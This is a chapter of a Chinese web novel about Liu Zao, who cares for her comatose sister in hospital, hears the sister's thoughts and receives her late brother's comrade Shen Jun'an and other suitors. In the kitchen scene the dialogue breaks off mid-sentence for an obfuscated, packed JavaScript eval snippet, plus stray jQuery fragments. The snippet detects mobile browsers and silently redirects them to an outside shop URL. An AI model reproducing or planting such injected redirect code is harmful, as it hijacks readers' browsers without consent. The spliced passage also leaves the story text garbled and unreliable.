“203病房三床缴费完成，家属把收据收好，离柜概不负责。”柜台后的护士忍不住悄悄打量沈钧安和柳早。


    柳早拿了收据就往病房走，推开门，妹妹柳青还安安稳稳地躺着，双眼紧闭，脸色惨白。


    【痛痛痛痛】


    柳早猛地停住脚步。


    声音是从脑海里直接响起来的，分明是柳青的嗓音，可病床上的妹妹嘴唇都没动一下。


    她还没来得及细想，身后传来急促的脚步声。


    柳皖捏着一把钱票和一本册子冲进来，棕黑的脸晒得通红，汗珠大颗大颗砸在地上。


    “叔......”柳早递上拧干的毛巾，脑子一片混乱。


    柳皖把手里的册子塞给她，囫囵擦一把脸，分不清擦的是汗还是泪：“小枣的未婚夫是吧？一表人才，这钱......点点够数不？还差的话，等这个月粮下来能还上。”


    【好吵好吵好吵】


    脑海里的声音又炸开，柳早确定这就是柳早的声音。


    她深吸一口气，稳住声音：“叔，这位是沈钧安同志，哥的战友，不是...是...”


    顿一下，声音低下去，“不知道是不是我未婚夫。”


    柳皖手往衣服上狠狠擦几下，握住沈钧安的手：“沈同志你好，你好。”


    柳早低头翻着手里的小册子，葱烧海参、九转大肠，是她爷的笔迹，她的手猛地顿住。


    “叔，你把你那些书拿出去卖了？”


    “害，死东西哪里比得过活人，把你爷的好好收着”，柳皖拧了条新毛巾，细细擦着柳青，嘴里却念叨着，“柳刚那小子一声不吭地跑了，又一声不吭地走了...”


    我们家又少一个人。


    未尽的话藏在哽咽中，“那柳刚有没有给我们留什么信？”


    沈钧安从看向柳早手上夹着的信封，“事发突然，柳同志只让我照顾好你们，这是奖金。”


    叔侄俩互相对视上，柳早忙把人推出去，“叔，你快点去把你那些书都赎回来！”


    “这...柳刚用命挣来的...”


    “死东西哪里比得过活人！”柳早把话砸回去。


    柳皖张张嘴，转身跑了。


    病房安静下来，橙红的阳光打在柳早和沈钧安身上，黑长的影子在墙上交叠。


    “沈同志，”柳早的声音很轻，“我哥他……怎么走的？”


    沈钧安沉默片刻：“事发突然，他只来得及让我照顾好你们。”


    “那亲事...”


    “他没跟你们说吗？”


    柳早盯着他，想从他脸上看出点什么，但他只是安静地站在那里，表情没什么变化。


    她认命地闭上眼睛，捏着眉头：“没，沈同志找到住处了吗？”


    “还没。”


    “等我叔回来去国营——”


    啪嗒啪嗒，脚步声由远及近。


    一个婶子扶着同病床的老太太进来，她换完药还中气十足，“哟，姑娘，这是你的那个未婚夫？”


    柳早实在不想解释，点点头。


    “有眼光，多俊俏来着，当几年兵了？我年轻那会儿就是看脸挑中俺们家老头的，嗨，就是走到我跟前去了。”老太太艰难躺上床，嘴巴一刻都不曾停歇。


    “人处对象说这话。”


    “呸呸呸，老糊涂了，别往心里去。”


    背光下看不清沈钧安的表情变化。


    “下午也怪我多嘴，多般配来着，”老太太拉住柳早的手，轻声嘱咐，“不过最好把医药费早早还回去，不然以后在家里立不住脚。”


    “我知道的。”


    老太太又看向沈钧安，笑起来，露出没几瓣牙齿的牙龈：“啥时候结婚记得叫我去当证婚人，你俩咋认识的？”


    柳早编了两句说不下去，沈钧安接过话茬，挑着能说的聊起军中趣事，老太太笑得前仰后合：“哈哈哈，你要是我孙子该多好。”


    柳早坐在折叠床上，握住柳青冰凉的手，心思却飘到边境，寒冷、贫穷、没有食物，柳刚那个讨厌鬼，是怎么在那里活下来的？


    柳皖赎回书，沈钧安起身告辞：“招待所在医院旁边，晚上守夜熬不住可以叫我。”


    “好。”


    柳皖大马金刀地往折叠床上一坐，吸溜着面条，狐疑地看着柳早和关上的门。


    这俩人......不是今天刚认识吗？


    翌日大早，柳早用两包卷烟换来医院食堂小灶的使用权。


    她麻利地提起从居民区换来的老母鸡，割喉放血，烫皮拔毛。


    沉重的菜刀在瓷碗底交错摩擦，逐渐恢复锋利，开肠破肚，取出的内脏、鸡油和凝固的鸡血放在一块。


    噼里啪啦-


    金黄的鸡皮在灶上来回，极速收缩，散发出一阵儿焦香。


    烧开一锅热水，厨房来做饭的人多起来，熟练地提着一整只鸡下到锅中滚三滚，麻溜撇开血沫。


    “妹子，你哪里搞的老母鸡，还有多的不？”一个婶子眼神躲闪，还是忍不住来打探。


    “自家养的，没有。”柳早飞快地切出姜片和葱段，掏出一片白芷，坐在灶前看火。


    婶子讪讪走开，同其他家属一样选择蒸鸡蛋羹、手擀面等快手好消化的食物。


    柳早乐得身边清静，估摸时间刚好，左手笊篱捞出焯好水的母鸡，右手浇下温水冲洗，转进砂锅中放足水，加料大火滚开。


    这会儿厨房只有一个跟她同龄熬着小米粥的姑娘在。


    “妹子，你这鸡不加东西了？”还有被指使看完全程的学徒，好奇问道。


    柳早没回答，闻见空气中若有若无的肉香，砂锅中翻起大浪，鸡皮紧绷，汤液浑浊，急速抽出碳火，瞬间风平浪静，几秒后跟温泉眼样冒着小泡。


    “这就叫‘虾眼水’，学着吧”，忙完早上的大师傅端着白馍、稀粥过来，“妹子，跟着我们一块吃点呗。”


    “谢谢，我不饿。”柳早坐在高凳上，双脚踩在椅子腿上，双手托腮，眼睛一瞬不瞬地盯着砂锅中的火候，辫子顺从地落在腰间。


    吸溜—


    芥菜疙瘩丝脆生生的，白馍进嘴立马含糊不清，一口清粥顺下，猜到柳早身份，“俺们这可不这样炖鸡，你是柳承宗师傅的谁...孙女吧。”


    “嗯。”


    “师傅，她们家成分不好，甭牵连你了。”将小米粥打包好的姑娘斜睨了眼柳早，拎着饭盒疾步向病房走去。


    这会儿看去只能看到个背影，但她一眼认出是同班同学吴燕——两人向来不对付。


    “都这把年纪还怕啥，之前柳师傅还帮我，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407064|200571||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    教过手艺，害，现在说也没人信，反正...我觉得柳师傅是好人。”那师傅指挥徒弟收拾碗筷，抻抻衣裳，桌上留了一份早餐。


    “俺也觉着俺爷是好的。”柳早咬下白馍。


    炖了快仨小时，临出锅加盐，撇去浮油。


    “白用这么久，”大师傅吹吹鸡汤，咂了一口，眼睛眯起来，“下不为例。”


    柳师傅的手艺，也算是有传人咯。


    “知道了。”柳早盛出汤，踏着小碎步回病房。


    好险，差点她爷的面子也不好使。


    温吞的空气中飘着细小的灰尘，柳早穿着件单衣，后背洇出层薄薄的汗，墙根底下夜里积攒的潮气还没散干净，在光暗交接中上到二楼。


    打开门，下意识地后退一大步，除沈钧安，杨德华和李建军也来了，手里提着大包小包。


    “熬好了？大家都坐着说话，别不好意思。”柳皖正愁应付不过来，想问问到底哪个才是未来的侄女婿，眼睛猛地一亮。


    还好老太太上午要去康复，不然都坐不下。


    “叔，这是李建军李同志，是陆军第23军第...”


    “陆军第23军67师步兵排长。”李建军忙不迭介绍自己，把手上的东西递给柳皖。


    他今天换了身行头，挺括的白色“的确良”短袖衬衣，顶上扣子解开露出锁骨，衣摆扎进深灰色的确良长裤里，裤线笔直得像刀裁一样，崭新的金属皮带扣露在外头，左腕上上海牌手表闪了一下。


    杨德华也是同款装扮，一身新衣配上火钳卷的头发，嘴唇红彤彤的，只是双眼扫过，根本没藏心底的嫌弃。


    棉混纺的厚实衬衣垂下，沈钧安每颗扣子扣得整整齐齐，衣领自然立起，同样的深灰色裤子更有质感，前遮鞋面后搭鞋帮，利利索索。


    “谢谢李同志、沈同志，有心来就很好了。”柳早夹在两人中间，左边是一袋子红糖，右边是一篮子水果，左右为难，借着倒鸡汤的空隙深呼吸几口新鲜空气。


    粗瓷碗中热气翻涌，润润的水汽传出鸡油的肉香，撇开金黄的鸡油，肉香扑鼻。


    【好香好饿好香好饿】


    脑海里的声音又出现，柳早手一抖，差点洒了汤。


    李建军猛吸几口，眼睛越发闪亮，“柳同志，都是一些补品，对妇女儿童都好的。”


    沈钧安空手站在墙边，一时不防，被浓郁的鸡汤吸引，喉结滚动。


    柳皖看自家侄女的眼色，再次劝道：“谢谢李同志，家里不缺的。”


    杨德华品味着空气中的香气，扬起个灿烂的笑容，鸡蛋放柜子上，“缺不缺的，以后都是一家人，简单表示下我们的心意，昨天你还提奶糖来，孩子这么小，还是摔的头，不多补补容易亏着身体，红糖、鸡蛋，最补气血的。”


    “不打扰病人休息，等妹子好了再商量亲事。”杨德华拉着李建军往外走，临出门又回头看沈钧安一眼，眼神复杂。


    柳早眉头一皱。昨天还指着门口让她走，今天就成一家人了？


    门关上，病房安静下来。


    柳早盯着那堆东西，还没想好怎么处理。


    【亲事？姐！】


    柳早猛地看向病床，柳青还是那样躺着，双眼紧闭，脸色惨白，可这一次，柳早分明看见她的眼皮，微微动了一下。